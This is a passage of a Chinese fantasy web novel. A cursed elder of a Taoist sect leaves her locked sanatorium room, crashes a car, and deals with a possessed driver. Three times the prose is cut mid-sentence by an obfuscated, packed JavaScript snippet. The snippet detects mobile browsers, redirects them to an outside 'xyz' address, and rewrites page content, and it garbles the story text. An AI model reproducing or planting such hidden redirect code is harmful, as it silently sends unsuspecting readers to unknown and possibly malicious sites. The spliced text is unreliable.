《杀死那座山》 1. 第一座山(1) 月明星稀,苍穹之下,群山之中,拨开丛丛浓密的树影,一座建筑群显得渺小而又破旧。 天一疗养院,坐落在檀州市紫微山山腰处。 此刻的疗养院静谧无声,一幢幢建筑好似随着世界一起,陷入沉睡。 穿过前面那栋像是新修过的建筑,沿着花岗岩石地的长廊往深处的建筑走去,随处可见岁月留下的破旧斑驳的痕迹,两侧杂草丛生的土地上逐渐显现出一些不同于前面建筑的游乐设施,像几乎每个幼儿园都有的那样,却完全不见半点生机,只留沉沉死气。 最深处有一扇铁门,看去其中幽黑无光。 这扇铁门是常年锁着的,今夜却见门上的锁链被钥匙打开了,静静挂在铁门上。 铁门内的黑暗之中,似有声音从地底传来,窸窸窣窣,似鬼魂低语,又似这疗养院中被亲属遗弃的老人在哭。 穿过这浓得化不开的黑暗,铁门内有一条通往地下的长阶甬道,像看不到尽头一般,但好在,那最深处似有闪烁的灯光,影影绰绰。 窸窸窣窣的低语声逐渐清晰起来。 “……师、师弟……要不,要不还是你来敲门吧……” 男人的声音,粗犷却违和地嗫嚅着,还有些绷不住地微微颤抖。 一束白光瞬间晃在了这人脸上,只见这男人身高约一米八,一身健硕肌肉,显然是个练家子,身上的蓝色工作服都掩不住这无数汗水浇灌的力量,可他的表情却有些毫不遮掩的惊慌。 白光晃了一下,又对准了男人面前的一扇木门。 “云霆师兄,你是师兄,还、还是你来,比较稳妥。” 同样穿着蓝色工作服的张云汉咽了咽口水,握着手机的手掌有些湿热,不得不换只手,顺带推了推鼻梁上的眼镜。 此刻二人仅靠着他手机自带的手电筒,在这黑暗中点亮那不多的勇气。 他身材完全不比身旁的张云霆,正常体型,一米七五的身高,且资历也浅,虽不算胆小,但这样的氛围下,也被张云霆弄得有些害怕。 张云霆低声念叨着,“那、那那怎么办?长老们都交代了,这事儿必、必须让这位处理……” “云霆师兄,不管怎么样,这位,也是我们天一道的长老吧,我们、我们到底在怕什么?” “你不懂!哪有长老会被禁制锁住的?还锁在这么个地方?关于这位的传闻……”张云霆倏地闭了嘴,深吸一口气,“豁、豁出去了!我来敲——” 张云汉拦住了张云霆正欲敲门的手,张云霆好不容易鼓起的勇气瞬间卸了一大半,惊疑地看向张云汉。 “等一下,师兄,我们是不是应该……先解开禁制……” 张云汉手中的光源再次对准了这扇木门。 张云霆闻言恍然大悟一般,“对啊,还是师弟你聪明!也得亏你记得带手机出来,不然这黑咕隆咚的,还真是……”说着,他尴尬的笑了两声。 二人的目光一起聚焦在木门上。 这是一扇古旧的木门,没有繁复的花纹,也没有什么艰深晦涩的符文,看起来不过是一扇再普通不过的寻常旧门,只是木门上方,贴着一张符箓。 符箓上字迹鲜红,却不是黄符纸写就的,而是一张黑符。 二人虽不是修符箓术的,却也知道,这其中厉害。 “师、师兄。”张云汉首先打破了紧张的沉寂,“这禁制我来解,然后,师兄您来敲门,如何?” 他刻意加重了[师兄]两个字,好似在提醒什么。 张云霆借着微弱的光,看了看张云汉,犹豫之下皱起五官,最终还是点了点头。 好像是怕他反悔,张云汉一鼓作气,伸出手就揭掉了那张黑色符箓。 隐隐的,似有阵阵看不见的波纹从这扇门中的整间房间里散开而去,带起一股二人都能察觉的灵能。 手机电筒照在了张云霆脸上,又照了照门。 张云霆知道,自己这个师兄,硬着头皮也得上了。 他抿了抿嘴,心跳突突地撞击着耳膜,他自己都不知道为什么,平日里面对那些魑魅魍魉他都不怕,偏偏…… 他深吸一口气,终于抬起手—— 吱呀—— 门竟然从里面打开了! 啪—— 二人皆是一惊,张云汉更是手中一滑,手机掉在了地上。 敞开的房门中透出明亮的光,张云霆“扑通”一声跪了下来,张云汉紧随其后,顺手哆哆嗦嗦拿起手机,却又不敢抬头。 张云霆也不敢抬头,紧闭双眼,大声喊道:“大、大长老……我二人是云字辈弟子,特、特奉命前来请、请——” “噗嗤……” 一阵憋闷的轻笑声传来,生动的,开朗的,像是个女人,不,像是个女孩的笑声。 二人困惑又惊惧地缓缓抬头。 女孩看起来不过二十岁左右,长发披肩,穿着一套繁复的绿色连衣裙,皮肤白皙,身形优雅,漂亮的面容,清澈又明朗,一双眼睛最是好看,灵动又清亮。 此刻她靠在门框上,一手捧着一堆果仁,另一手捂住嘴,笑弯了眼,看着二人。 “云字辈的……我,很可怕吗?”她放下捂嘴的手,轻轻掩唇,口中嚼着果仁,有些微的口齿不清。 二人呆愣着。 等到她又丢了一颗果仁在口中咀嚼,张云汉率先回魂,“您、您……您是大长老?” “嗯,不像吗?” “不、不是……”张云汉冷汗直流。 “你们两个,起来吧。” 女孩收起手中的果仁,看向二人。 “是、是。”张云霆此刻也回过神来,和张云汉一起缓缓起身,“您真的是大长老?” “怎么?我不是,你是啊?”女孩拍了拍手上的果仁屑,“说吧,找我什么事?” 张云霆还在惊疑之中,张云汉等了一会儿,不得已清了清嗓子,低头拱手说:“回禀大长老,门中有大事发生,众长老商议,请大长老出山,主持大局。” 片刻的寂静,张云汉却等得有些心慌。 女孩看了看张云汉,又看了看张云霆,转过身去背对二人,“不去。” 张云汉闻言一惊,半晌,听到动静,悄悄抬眼…… 只见她已然缓至屋内桌前,拿起一个小锤子,一下一下地砸起核桃。桌子上有一堆摞成小山的核桃壳,看来,她方才吃的就是核桃果仁了。 张云霆也反应过来,与张云汉相视一眼。 二人不敢说话,也不敢动。 “回去吧,告诉那几个什么长老,我在这儿住的很好,哪儿也不想去,有什么事,到这儿来说。” 她声音平静,伴随着敲碎核桃壳的声音,一下一下,却有一种说不出的威慑力。 门外二人再度相视,又站了好一会儿,一番纠结之下,互相使了个眼色,还是拱手作礼后离开了。 木门合上之后,女孩眼神动了动,微不可见地挑了下眉毛,而后停下手中动作,捧着核桃仁,起身倚靠在沙发上,拿起一本书,一边吃着核桃仁,一边看着书。 她住的这个地方并不小,像是一间老旧的民房,只是墙壁上泛黄的墙纸与屋子里一排排挂着华美衣裙的衣架,对比之下,更像是一间荒诞的服装店。 她喜欢好看的衣服。 可是,这些衣服若是因为被遗忘而失去最合适的主人,多可惜。 她还喜欢看书,但是书看完了都会被收走。 他们不许她房间里出现纸笔。 那么多好看的书,要是忘了,多可惜。 可是,或许不知道什么时候,她就会忘了,忘了一切,甚至忘了怎么说话、怎么走路、怎么回家…… 这是一个名为[空]的诅咒,一个不知道是何时、不知道为什么,就这样降临在姜满身上的诅咒。 她不记得了,她早已忘了许多事,就连姜满这个名字,都是别人给的。 书才翻看了三页,房门再度被敲响,这次来了不少人。 “门没锁,进来吧。” 她头也没抬。 门外的人也不客气,伴随着一声短促的“吱呀”声,一行六人,推门而入。 姜满余光瞥了一眼,视线重新落回书上。 身着蓝色道袍的四位长老走到桌边,还有先前来的那两个云字辈小弟子,进了门却不再往前走,只靠着门口站着。 这四位长老显然知道这位大长老的模样,看到姜满之后,并不十分惊讶。 为首的看起来较为年长的花白胡子老者先开了口,“大长老,掌门已经失踪三个月了。” 言简意赅,没有寒暄和乱七八糟的开场白。 姜满合上书,“失踪?那你们应该找警察啊,找我有什么用?”说着,她将手中不多的核桃仁一股脑儿塞进嘴巴里,拍了拍手上果仁屑。 “掌门失踪这种大事,岂能闹得人尽皆知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577484|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,且掌门毕竟是为了你才下山的,你也知道,若是能找警察帮忙,当初他又为什么会把你从监狱里接出来?” 姜满低垂眼帘,用手指摩挲着手中书皮上烫金的书名,看起来有些心不在焉,“你们想让我怎么找?” “掌门查的是你的事,且掌门印只有你会用,我们想让你亲自下山,找掌门。” 姜满嘴角扬起一抹不易察觉的笑意,“你们关了我这么久,怎么?现在愿意把我放出去,不怕出事了?” 另一位微胖的长老笑着开口,“我们从未关你,你知道的,我们是在保护你,且这一次,不是让你一个人去,掌门道法高深,自然未卜先知,早已留言。”说着,他伸手示意,门边的张云汉会意,上前两步,这位微胖长老接着说:“这位云字辈弟子便是与你一同下山之人。” 姜满抬眼看了看这位微胖长老,又看了看张云汉。 张云汉和不远处的张云霆都低着头,桌边的四位长老皆是一副胸有成竹的模样,好像觉得姜满一定会同意,所以已经开始思考下一步如何稳住门中局势,以及如何向整个玄人界瞒下掌门失踪的消息。 “不去。”姜满身体放松,往后仰躺,陷进松软的沙发,“我在这儿住的很好,要什么有什么,我为什么要冒险为了你们出去?” 微胖长老神色一变,正欲开口,却被先前开口的花白胡子拦住了,“大长老,你名为大长老,却从未为天一道做过什么,这一次,你必须出山。” “必须?我就不去,有本事你杀了我,你要是能杀了我,我也就不用去。”姜满无所谓地摊开手。 “你——”花白胡子显然没想到姜满这个小姑娘模样的,竟这般无赖,一时语塞。 此时,这四位中唯一一位女长老开口了,“大长老,你知道,掌门在时,你的事我们都没有资格过问,你如今享受的这些,也是掌门提前布置安排的,若掌门再不回来,你所需要的一切,都将没有人再提供。” 说着,女长老的目光依次落在桌上的核桃、姜满手里的书、四周的衣架、以及这一整间不见任何打扫工具却整洁干净房子。 姜满看向这位女长老,“你们明知我是从哪里来的,你真的觉得,我会在乎这个?” 女长老上下打量着姜满的衣着,轻轻点了点头,“你会,如果你不答应,我就会立刻让人把你这儿所有的衣服都撤走。” “你——”姜满似乎有些生气,“我讨厌被威胁!” “对不起,但我们没有别的办法了。” “可是姐姐。” 听到姜满口中的“姐姐”二字,女长老的眉头一闪而过的皱了皱。 姜满接着说:“我如果答应你们,离开这里,这些衣服,我也带不走啊,我一样会失去它们。” 女长老沉下心,“你可以带走,我们会给你准备足够的行李箱,如果你考虑到路上不方便,也可以放在这儿,我们会派人护理,等你回来,它们还是会像新的一样。” 姜满拧着眉头,想了想,放下书,有些无奈地叹了口气,“好吧,那我只能暂时离开这里了。” 说完,她起身朝卧室走去,走了两步又有些不放心的回头,“你们一定要好好照顾它们!” 女长老郑重地点点头。 几位长老相视一眼,缓缓离开了屋子,只留下张云汉一人。 脚步声远去,四周恢复寂静,只有卧室里传来些微收拾东西的声音。 客厅中的张云汉沉思片刻,走到了卧室门前,轻声说道:“大长老,掌门早已算到今日,我就是特地为您的需求而存在的人。” 卧室里忽然安静下来。 “我的……需求?你?” 姜满低头看了看自己刚拉到腰际的新礼裙,很显然,她是个女人,看起来是个二十岁的年轻女人,所以,她应该……有那种需求? 她不禁回忆起张云汉这个小弟子的模样来,可惜,普通到她只记得他的眼镜。 张云汉并未察觉有异,只低声答:“大长老,请容许我重新自我介绍一下。我是天一道第二十四代弟子,五岁时得掌门赐名,张云汉,后受命前往太陀山普渡寺为外门弟子修行,法名本初,六年前回归天一道。” 说着,他顿了顿,似是在听门内动静,而后继续说:“云汉于普渡寺为僧玄十余载,只学了一样本事。” 卧室里的姜满见他停住,有些心急地追问:“什么本事?” “超度。” 2. 第一座山(2) 三十二年前,西疆米苏监狱。 服刑快十年的姜满第一次见到活的玄人,是个道玄,这也是她这近四十年的记忆中,第一次看见了希望。 这个玄人叫张信德,是檀州市一家福利院的院长,专门收容孤儿,但这家天一福利院,实则是天一道门。 她像是抓住了救命稻草一般,跟着他离开了拥有广袤平原和茫茫雪山的西疆。 姜满以为,张信德可以帮她完成破除之法,可后来她才明白,她不过是从一座监狱到了另一座监狱。 这近四十年的人生,姜满一共听到过两次[空]音,第一次是苏醒后懂得人类语言之时,第二次是入狱前。 【空生降临,空主不可灭杀众灵记忆,即不可灭杀生灵、死灵,违之再度成空,破除之法:超度三千怨灵。】 [空]就是忘记,忘记一切,甚至行走坐卧,变成一个[空]人。 姜满意识到,自己可能已经[空]过许多次了,可这一次,她有不想忘的记忆,她不能忘,可她已经犯了戒,正因如此,才入狱,但她不明白,为什么这一次,她没有忘,她还是她。 她不是没有怀疑过[空]音的真实性,可[空]音像是一个只有声音的魔鬼,洞察她的一切意识,唤醒她内心深处的声音,一丝无关紧要的记忆重现,她知道了自己姓姜,她还想起了一些异术,玄人才有的异术。 后来,她在她只有一片灰雾的梦中,看到了人影,虚幻的、不辨真容的人影,他们和[空]音一样,只有声音,不同的是,他们有形状,且只在梦里出现。 这些人影和她一样,是受[空]诅咒的人,他们再度证实了她早已相信的[空]音。 她知道的越来越多,这世上但凡拥有记忆的灵体,一只蚊子、一片树叶、一缕亡魂、一丝残念……她和那些梦中的人影一样,都不能杀。 可她还是杀了个人。 那一刻起,她时时都在恐慌中,在不知道何时就会被剥离一切记忆的恐慌中,直至入狱后,[空]音响起,她没有成[空],也没有再梦见过人影。 梦境成了一团黑雾,没有声音,没有人影,什么都没有。 在这第二次[空]音响起之前,姜满问过梦境中那些人影一些关于破解之法的问题。 超度三千怨灵,即度三千苦厄,是度化执念,也是灭一段记忆,[空主]动手,便会再度成[空],此乃死循环,唯有一种可行之法,却并无人试过: [空主]降伏怨灵后,交由玄人超度,[空主]参与其中,但不动手,或许可行。 然后,她等到了也许能帮她试试的道玄张信德,可张信德似乎觉得,把她“保护”起来,更稳妥。 她便在这间天一道最秘密的屋子里,一住就是三十二年。 后来她才知道,十年监狱服刑,那些身边人早已发现她的不同寻常,理所当然认为她也是玄人,常人眼中天生异术的玄人,这种人只有玄门可以管控,而她之所以被远在檀州的张信德带走,则是因为她身上有天一道的掌门印。 时间飞逝,三十二年的时间,天一福利院也变成了天一疗养院,姜满也住惯了,不得不说,张信德的办法,的确稳妥,她很安全。 可今天,她要出去了,看起来,是被逼的。 张云汉一手拖着一只行李箱,看着走在前面垂头丧气的大长老,心里不禁有些为前路担忧起来。 二人已经出了疗养院,走在水泥修砌得平滑宽敞的山路上。 天还没亮,空无一人的山路上,姜满这位大长老的穿着打扮属实有些扎眼,明黄色的缎面长裙,一字肩上镶着朵朵黄玫瑰,长裙拖曳在地上,脚踩高跟,却垂着脑袋,步伐缓慢,无精打采。 此时的二人,看起来像极了落难大明星和她的小助理。 时值七月,空气湿热,有微风晃动,不知何时,将遮住月亮的云吹散开去。 月光皎皎,似乎天光都亮了许多,已然走到山脚的姜满忽然停住了脚步。 “怎、怎么了?”张云汉被她突然的驻足吓了一跳,紧张地四下张望起来。 却见她回过头来看他,月光映在她的脸上,他看到了一抹逐渐放大,乃至肆意的笑意。 张云汉不安地咽了咽口水,正要开口,只听她一声大吼: “劳资终于!出!来!了!” 张云汉被这突如其来的喊声吓得身体一歪,手中拖着的行李箱也倒在了地上,肩上扛的,箱上挂的,大包小包,东倒西歪了一地。 姜满看了他一眼,缓步朝他走去。 “大、大长老,你、你……我、我我什么都没听到……你别——” 张云汉何等乖觉,立刻意识到姜满这八成是要杀人灭口了,如果她本意就是想离开疗养院,那么如今自己就是她唯一的绊脚石,于是他赶紧卖好,只想保命。 却见她撩起裙子,俯身“刺啦”一下拉开了一个行李箱,从里面拿出一双运动鞋,然后兀自换下了脚上的高跟鞋。 换好鞋的姜满一脚踢开了行李箱,张云汉见她不打算动自己,迟疑片刻,赶紧收拾起东西来。 “大长老稍等片刻,我马上就收拾好……” “不用了。” 张云汉愣愣抬头,“啊?” “我说不用了。”姜满说着,褪去肩带,伸手到背后解开裙子的系绳,用力一扯…… “大、大大大大长老……你你、你这是……”张云汉目瞪口呆,脑海中闪过无数荒谬的想法 莫非大长老修得是邪玄?要采阳补阴……不然她怎么开始脱、脱—— 他的想法戛然而止。 姜满解开长裙,显出了里面穿着的背心和牛仔裤,她套起一件短袖,接着不耐烦地一脚蹬掉了裙子,随手丢在路边,从两个大行李箱和一堆包包里拎起一个手提袋,挎在肩上,“带上你的东西,跟我走吧。” 张云汉眨眨眼,仍旧没回过神来,傻愣愣地问:“那、这些东西呢?” 姜满背过身去,反手将披散的长发束起成一个麻利的小髻,“不要了。” 眼见姜满朝山下大路走去,张云汉赶紧背好自己的背包,追了上去。 姜满的心情看起来极好,脚步轻快,嘴角带笑,连斜睨张云汉的眼神,都带着些纵容,“想问什么,问吧。” “不、不不敢。”张云汉低着头,唯唯诺诺。 他实在捉摸不透眼前这样的大人物,以他的资历,能被掌门亲自安排任务,已然是大幸之事了。 “从今天起,你就是我的人了,有些事你搞清楚比较好,省的麻烦。” 张云汉只觉得冷汗已经湿透了他的衣衫,他看了看姜满,又低头皱眉,半晌,才开口,“那些衣服,您不喜欢?” “憋半天,你就问这个?”姜满轻笑一声,“我喜欢啊,但是它们没用了,能理解吗?” 张云汉皱着眉头,“所以,我还有用。” “嗯。”姜满轻哼一声,算是认可。 张云汉回忆着整件事,恍然大悟道:“所以从一开始,您就是故意装作不想离开,只等长老们逼您。” 姜满瞥了他一眼,“我以为你还算聪明,却不过也是个自作聪明的傻子,云字辈的那个谁,接下来你既然要跟着我,那我就教你一课,有些事,心里知道就好,说出来,就显得蠢了,因为你说的,不一定全对。” 张云汉微微一怔,旋即低下头,拱手作礼,“是,谨记大长老教诲,晚辈叫张云汉。” 他伸手推了推眼镜,垂下的目光有些闪烁,嘴角闪过一抹笑意,心里回想起掌门交代他的话: “……那位大长老,你不必怕她,她就是个脾气不好且喜欢故作高深的小姑娘,一个活了很久的小姑娘,你只需要顺着她,把她哄高兴就行,记住,别去深究她的事,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577485|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要时刻跟在她身边……” 姜满看了看他,轻轻挑眉,而后不再言语,收回目光,往城市走去。 微风吹走一片云,也带来了下一片云,已然有些暗淡的月亮又被遮住,天色亮了,月亮就淡了,被遮住后,天光更显晦暗,凌晨湿气深重,笼在公路上,成了雾。 “你说你会超度?”姜满看着前方雾蒙蒙的公路,开口问道。 张云汉点头,“是。” “那就让我看看你是不是真的会超度。”说着,姜满加快了脚步。 张云汉紧随其后,忍不住问:“大长老,我们不先找掌门吗?” 姜满顿住脚,似笑非笑地看向他,“我哪句话让你觉得,我要去找掌门?还是我答应了谁,要去找张信德?” 张云汉心里一阵发寒,“那、我们现在要去哪儿?” “跟着我就行。” 张云汉不再说话。 不知道为什么,他总是感觉哪里怪怪的。 二人走了许久,这公路似乎没有尽头,路边等距亮起高高的路灯,枯燥乏味,姜满不禁烦躁起来。 “不对啊!三十年前就有车了,你们天一道与时俱进,都从福利院改头换面成养老院了,竟然都没想到要给我安排一辆车吗?” 张云汉眨眨眼,“有的,但您走得急,我来不及告诉您,后来您也没问,我以为您另有打算。” 姜满有些无语。 现在回去拿车岂不是白走了这么多路? “我们可以叫车,您许久没出来了可能不知道,我们现在这个世界,非常方便……”说着,张云汉从口袋里拿出手机,指尖在上面点来点去。 姜满的目光被他手里的手机吸引,她自然知道这是什么,她还跟张信德要过,但那个老东西怎么都不肯给,还说什么为了她的安全考虑…… “你这玩意是叫手机吧?”她抬脚用左右内脚踝轮番敲了敲腿肚子,身子倚靠在路灯的杆子上。 世界的确不同了。 姜满记得,她刚来天一道的时候,山路很窄,路面崎岖,还是张信德骑了一辆破旧的大杠自行车,带着她上的山,一路颠簸得她几度嚷嚷要下来走,如今竟像家里的水泥地一样平整,走货车都绰绰有余。 那时的马路也没有这么宽,路面上的那些白色黄色的线,就好像新画的,颜色鲜艳。 还有上面蓝色的路牌、两边的护栏……就连她靠着的路灯也是,这样高,这样好看…… “是,这是手机,长老您不会没见过吧?”张云汉停住了手上的动作,看向姜满,“不过,大长老,我们的目的地是哪里?叫车需要填目的地。” 姜满收回思绪,“行了,不用那么麻烦了,你回去,把车开过来,我在这儿等你。” 张云汉愣了愣,看向来时的方向,“回去?” “有问题?” “没、没有。”张云汉咽了咽口水,“不过……您不会就这么消失吧?” 姜满白了他一眼,“张信德既然让你跟着我,想必肯定告诉过你,我,做你祖宗都够辈分了吧?我如果想甩掉你,你觉得你能察觉?”她忽的伸手拿过他手中的手机,“我等着也无聊,把这个留下,你快去快回,要是让我等急了,我就把它扔了。” “扔——”张云汉哑然,“大长老稍候,我去去就来。” 姜满低下头摆弄起手里的手机,没再理会他。 世界真是不一样了。 这么个小机器,果真和书里说的一样高级,这就叫什么来着……科技! 姜满虽然得了个“杀记忆就会失忆”的病,但她的记性很好。 她看过很多书,几乎过目不忘,那些书不分种类,她什么都看,所以对于这个世界的变化,她自然也不是一无所知,但文字、图片,都远不及实物具象,亲眼所见、亲身体会,她才感觉自己是真的,这个世界是真的。 3. 第一座山(3) 雾越来越浓重,不多会儿,两束橘色灯光穿透雾气,逐渐接近。 张云汉开着一辆脏兮兮的白色小轿车缓缓赶到。 不是他不想开快,只是雾大,视野受限,他不得已只能尽力而为。 姜满抬起头,打量着停在路边的这辆小车。 “这……就是你们天一道为我准备的车?”她的语气似乎带着点失望,还有些鄙夷。 此刻的张云汉下了车,打开后车门,正准备请姜满上车,闻言,嘴角不由地抽搐了一下。 他原以为这个“久居不出”的大长老,会感叹一下汽车如今竟发展成这样,谁知这语气听着……似乎有些嫌弃呢? “大、大长老,这是我们院唯一空闲的车,所以,委屈大长老……” 他站在打开的车门边,看着姜满走到他面前,于是恭敬地往后退了两步,准备让姜满上车。 姜满伸出手,“砰”地一声关上了他打开的车门。 张云汉目瞪口呆,还没反应过来,就见姜满转身往前两步,拉开了驾驶位的门,坐了进去。 他瞬间回过神来,大惊失色,连忙上前,趴在驾驶位打开的车窗上,“大长老!您、您不能开车啊!你没有驾、行驶资格,这个要考试的,要有证的,不然不能开车,我们还要去找掌门,万一出事——” 他还是下意识觉得,这次出来的目标,是找掌门。 “你说我没有资格?”姜满缓缓抬眼,面无表情地打断了他。 张云汉忍不住打了个寒颤,不敢再看她的眼睛,但口中仍是低声念叨着,“可是您真的不能开,您没有驾照,这是违规,会有大麻烦的……” 姜满已经不再搭理他,自顾自地研究起手上这台车来。 张云汉忧心忡忡,看着她摆弄着手刹挂档,显然是会开车的,可如此,他才更是心焦,偏这位祖宗他又得罪不起,万一出了什么事,别说找掌门了,就是回去,他也没法交代啊…… 眼见姜满的手已经放在了方向盘右下侧的钥匙上了,张云汉情急之下,大喊一声,“这个不能碰!” 姜满侧过脸看了看他,接着嘴角勾起,轻轻转动钥匙…… 引擎发动的声音传来,张云汉的心沉到了谷底。 姜满的手放在了挂档的拉杆上,看向张云汉,“接下来,是不是不能把档位挂到‘D’,不能把旁边这个手刹拉杆放下来?不能松开刹车踩油门?” 张云汉如同泄了气的球,心里却已经有了决定,叹了口气说道:“大长老,您真的不能开车,但如果您要是实在想开,至少等我上车,好不好?您等我!我在旁边帮着点也好啊!”说着,他赶忙挪身,打算从车后绕到副驾。 下一瞬,他的脚步顿在了车后,看着逐渐离他远去的车尾,嘴巴张了张。 “大长老……您至少、把安全带系上啊……” 这边的姜满只是打算先试试手,毕竟这小车即便不怎么样,也跟她那个时候的车太不一样了,她太需要切实的体验一下这个久违的、熟悉又陌生的世界了。 至于张云汉说的资格,她连重型装载车都开过,还需要什么资格? 世界变了,车也变了。 这辆车定然不算好车,但手感也足够让她陌生,方向盘太轻,车身太稳,给人一种不真实感,还有这沙发一般舒适度座椅,以及脚下的油门—— 砰—— 陡然的,来自侧面的撞击,姜满的车瞬间失控! 她因为没有系安全带,身体狠狠撞在方向盘上,又撞在门上,来来回回,早已离了位,但幸而她并非凡人,当即全力稳住方向盘猛踩刹车,也总算能控制自己没被抛飞出去,且好在她本身车速并不快,甚至可以说非常慢,毕竟她可不想一不小心轧死某一只小虫。 不知过了多久,车子终于停住了。 这是,出事了。 这条路上雾太大,能见度极低,而姜满的注意力又一直在车上,丝毫没有留意到刚刚的十字路口,也不知道另一个方向,有一辆车正极速而来。 那辆车的速度显然很快,像是刹车坏了一样,发现姜满这辆车时只能调整方向,却还是难以避免的撞上了姜满的车,姜满能控制,那辆车却不行。 姜满定下心神,耳边不断传来撞击碎裂的声音,她抬手擦了擦脸上挡住视线的血迹,朝碎裂的窗户外面看去,可惜什么也看不清,于是她拉上手刹,下了车。 视线可及之处,满地狼藉,她顺着碎片痕迹走着,找到了翻下护栏后,侧翻在坡地上的那辆面目全非的黑色轿车。 这条路所处地势不低,护栏下是陡坡,那辆黑色轿车翻下护栏,好在有树拦住,才没一直滚下去。 侧翻的黑色轿车,车身已然惨不忍睹,前车灯也散了架,但车身四角的橙色灯光却仍然顽强的一下一下闪着光,像极了姜满的心跳。 死人了吗?这,会不会算她杀的? 她有些烦躁,却不得不朝那辆侧翻的车走去。 …… 张云汉气喘吁吁地追过来时,魂都要飞走了。 刚才大长老把车开走,他没有别的选择,只能追着跑,雾这么大,他的视线几度丢失了这辆小白车的踪影,然后他听到了撞击声,那么大的动静,他恨不得能飞。 他看到了滚下山坡的黑车,于是,他也几乎滚了下去。 张云汉的体力实在不算好,跑了一路,腿都软了,此时一慌,土地湿滑,他就这样滚了下去。 他对自己的定位一向是靠脑子吃饭的,即便一贯自谦,他心底里对自己的智慧,也是有些信心的。 事实上,他的确靠着这副头脑一直顺风顺水,过往这么多年,几乎没有事超出过他的预料,直到今晚,直到遇见这位大长老,一切总在超乎预料。 张云汉狼狈地爬起来,看着眼前。 雾蒙蒙湿漉漉的山地上,一辆侧翻的、面目全非的黑色轿车,看样子还是辆豪车。大长老似乎费了不少力气,将车内的伤者拖了出来,两人此刻都躺在地上,一个不省人事,一个像在休息。 “大、大长老,您没事吧?”张云汉看清姜满,吓得声音都抖了。 此刻的姜满早已不复刚下山时的干净利索,额前鲜血流了一脸,触目惊心,手肘和拳头更是血肉模糊,更可怕的是,她的胸口竟然被一根两指粗细的树枝贯穿了! 姜满没理他,兀自躺着,一双眼睛却在到处看,像在找什么。 张云汉稳住心神,重新审视了一下现场情况。 车上没有其他人,只有一个年轻男人,看样子是开车的人,被大长老救出来了。 此人穿着衬衫马甲,身形消瘦却很高,面色苍白,长相……出众,右肩有树枝贯穿,树枝被截断,却没有拔出来,也看不出扎了多深,人已经昏迷,需要立即就医。 车前挡风玻璃碎得到处都是,上面沾着血,结合大长老的伤势,看来是她凭着裂缝生生用拳头手肘撞碎的,毕竟这种材质的玻璃,若无裂缝,再怎么厉害的人也破不开。 车身似乎有往下躺倒的趋势,全凭那棵树拦着。所以,是大长老救人的时候,车身晃动太大,导致车子下滑,于是树枝穿进来,大长老避让不及,竟让树枝从身后贯穿胸口? 张云汉不由地在心底念叨起来:老天保佑,大长老可千万不能出事啊…… 他的眼神偷偷瞄向姜满。 “他要是死了,算不算我杀的?”姜满坐了起来,手里像是抓着什么东西,看起来怪怪的。 张云汉脑袋一空,“啊?什、什么意思?” “字面意思。” “这人要是死于车祸,应该算是您的责任,毕竟是与您相撞,要是您不开车也就……”他眼神躲闪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577486|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止住话题,“不过,现在我们是不是应该先报警送医,追究责任什么的先放——” 姜满打断了他的话,“是我的责任,意思就是,算是我杀的,对吧?” 没等他回答,她像是松了口气,自语道:“那就好,没白替他挡那一下。” 张云汉眨眨眼,回过味来。 所以大长老胸口这一下,是帮这个男人挡的? 姜满腾出一只手,将什么东西扔向张云汉,“这事儿报警没用,你联系一下,这男人被邪祟附体了,叫玄人过来处理。” 张云汉接过东西,是他的手机。 “被邪祟附体?” “废话,不然这么大雾,他有什么毛病开那么快?”姜满的手上仍是抓着什么,然后她以一种怪异的状态站了起来,那样子,好像她手上抓着的,是个“人”。 “这一下撞的不轻,把他身体里的那东西都撞出来了,要赶紧给他安回去。” 张云汉脑子还没反应过来,身体已经挡在了那男人身前。 “你干什么?”姜满看起来有些疲惫,语气却仍保持着不耐烦。 张云汉脑子乱成一团,半晌,憋出一句,“大、大长老,我可以超度!这邪祟我可以超度!” 他心里有太多疑问:大长老为什么能碰到灵体还能抓在手里?她又为什么要把这邪祟安回这男人体内?她为什么这么关心责任问题?她……可他什么也没问,或许不敢,或许不知道从何问起。 “滚开!要是耽误事儿,就让你陪葬!”姜满推开他,把手里的“东西”按进了那个男人身体里。 “陪、陪葬?” 姜满没理他,确定了那附体邪祟没有再出来的征兆,这才感觉有些体力不支,扶住了身旁一棵小树,“你,靠近点。”她指了指张云汉。 张云汉听话地往前两步。 “把这个拔出来。”她指了指自己胸口那截断枝。 “啊?” 张云汉愈发觉得自己脑子不够用了。 利器贯穿身体,不能轻易拔除,这种常识,难道大长老不知道?可她明明没拔这个男人肩膀的树枝啊…… “你是不是听不懂人话?”姜满已经不耐至极。 “可、可是大长老,您这伤在胸口,贸然拔出,您有可能会失血过多而……” 